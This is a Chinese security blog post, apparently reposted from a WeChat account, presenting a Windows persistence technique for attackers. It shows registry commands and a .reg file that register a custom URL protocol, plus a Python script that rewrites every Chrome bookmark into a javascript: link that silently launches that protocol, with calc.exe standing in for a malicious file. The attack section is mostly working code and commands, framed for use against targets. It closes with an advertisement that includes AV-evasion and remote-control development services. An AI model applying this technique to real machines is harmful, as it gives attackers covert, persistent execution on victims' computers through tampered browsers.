新一代权限维持|自定义协议加载恶意文件

admin 2024年7月30日23:37:42评论51 views字数 2793阅读9分18秒阅读模式

0x01 前言

昨天晚上和秋风交流,发现自定义协议可以用来做权限维持。这个思路应该是比较新的,索性我也研究了起来。起先他还是通过自定义协议让客户端打开本地的文件,后面发现原来可以用来做权限维持。

0x02 自定义协议

自定义协议是一种特殊的URL Scheme,开发者可以定义任意协议名称,并绑定到特定的应用程序。当用户点击该协议的链接时,系统会调用注册表中定义的应用程序来处理URL。其工作原理如下:

  • 注册协议:在Windows注册表中添加一个新键值,定义协议名称和对应的应用程序路径。
  • URI Scheme处理:当浏览器或其他应用程序识别到该URI Scheme时,会调用注册表中指定的应用程序执行。
  • 参数传递:协议可以传递参数到应用程序,路径或查询字符串作为参数传递给应用程序。

该Scheme可以被浏览器或其他应用程序解释,并触发相应的本地程序。例如,你可以定义一个协议“mycalc”,当网页中的链接“mycalc://open”被点击时,Windows系统会打开计算器应用程序。

这里我们可以使用CMD命令行进行修改注册表,并且我们使用自定义协议能够打开 Calc.exe

reg add "HKEY_CLASSES_ROOTxz" /ve /d "URL:MyCalc Protocol" /f
reg add "HKEY_CLASSES_ROOTxz" /v "URL Protocol" /d "" /f
reg add "HKEY_CLASSES_ROOTxzshell" /f
reg add "HKEY_CLASSES_ROOTxzshellopen" /f
reg add "HKEY_CLASSES_ROOTxzshellopencommand" /ve /d ""C:\Windows\System32\calc.exe"" /f
新一代权限维持|自定义协议加载恶意文件
新一代权限维持|自定义协议加载恶意文件

这里其实我们还可以自己创建.reg文件,并且使用cmd导入

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOTxz]
@="URL:Calculator Protocol"
"URL Protocol"=""

[HKEY_CLASSES_ROOTxzshell]

[HKEY_CLASSES_ROOTxzshellopen]

[HKEY_CLASSES_ROOTxzshellopencommand]
@="C:\Windows\System32\calc.exe"
新一代权限维持|自定义协议加载恶意文件

0x03 权限维持

昨天聊到正常浏览器的书签页是能够修改并且嵌套XSS语句,我们自定义了协议也就能够在浏览器进行修改。

javascript:window.open('https://www.baidu.com''_blank'); setTimeout(function() { window.location.href = 'rce://open'; }, 3000);
新一代权限维持|自定义协议加载恶意文件

正常在实战当中,我们肯定是不可能远程屏幕操作对方浏览器进行修改的。所以我们可以通过cmd来对浏览器的书签页进行修改。

以下是浏览器的书签存放位置

Chrome浏览器: C:Users<YourUsername>AppDataLocalGoogleChromeUser DataDefaultBookmarks
Firefox浏览器:C:Users<YourUsername>AppDataRoamingMozillaFirefoxProfiles<ProfileName>places.sqlite
Edge浏览器:C:Users<YourUsername>AppDataLocalMicrosoftEdgeUser DataDefaultBookmarks
新一代权限维持|自定义协议加载恶意文件

我们这里以Chrome浏览器作为例子,针对 url 进行修改即可。

在实战当中,我们肯定不是添加新的标签页面,而是在原有的页面进行修改。于是我们就可以写一个脚本批量将目标的书签进行修改。

import json

def modify_chrome_bookmarks(bookmark_file):
    def update_url(bookmark):
        if 'url' in bookmark:
            original_url = bookmark['url']
            new_url = f"javascript:window.open('{original_url}', '_blank'); setTimeout(function() {{ window.location.href = 'xz://open'; }}, 3000);"
            bookmark['url'] = new_url

    def process_bookmark(bookmark):
        if 'children' in bookmark:
            for child in bookmark['children']:
                process_bookmark(child)
        else:
            update_url(bookmark)

    with open(bookmark_file, 'r+', encoding='utf-8') as file:
        bookmarks = json.load(file)

        for root in bookmarks['roots']:
            process_bookmark(bookmarks['roots'][root])
        
        file.seek(0)
        json.dump(bookmarks, file, indent=4, ensure_ascii=False)
        file.truncate()

# 文件存放位置路径
bookmark_path = "C:\Users\33868\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"
modify_chrome_bookmarks(bookmark_path)
新一代权限维持|自定义协议加载恶意文件

这里我们准备两个正常的书签,执行脚本

新一代权限维持|自定义协议加载恶意文件

执行脚本之后成功修改,没有问题并且成功弹出计算器。

新一代权限维持|自定义协议加载恶意文件
新一代权限维持|自定义协议加载恶意文件

0x04 结尾

承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、PHP / JAVA / GO / Python 代码审计、渗透测试、应急响应、免杀/远控开发、二进制漏洞挖掘、Web3安全服务、智能合约代码审计 等等的安全项目,请联系下方微信。

新一代权限维持|自定义协议加载恶意文件

原文始发于微信公众号(不懂安全的校长):新一代权限维持|自定义协议加载恶意文件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月30日23:37:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   新一代权限维持|自定义协议加载恶意文件https://cn-sec.com/archives/2995506.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息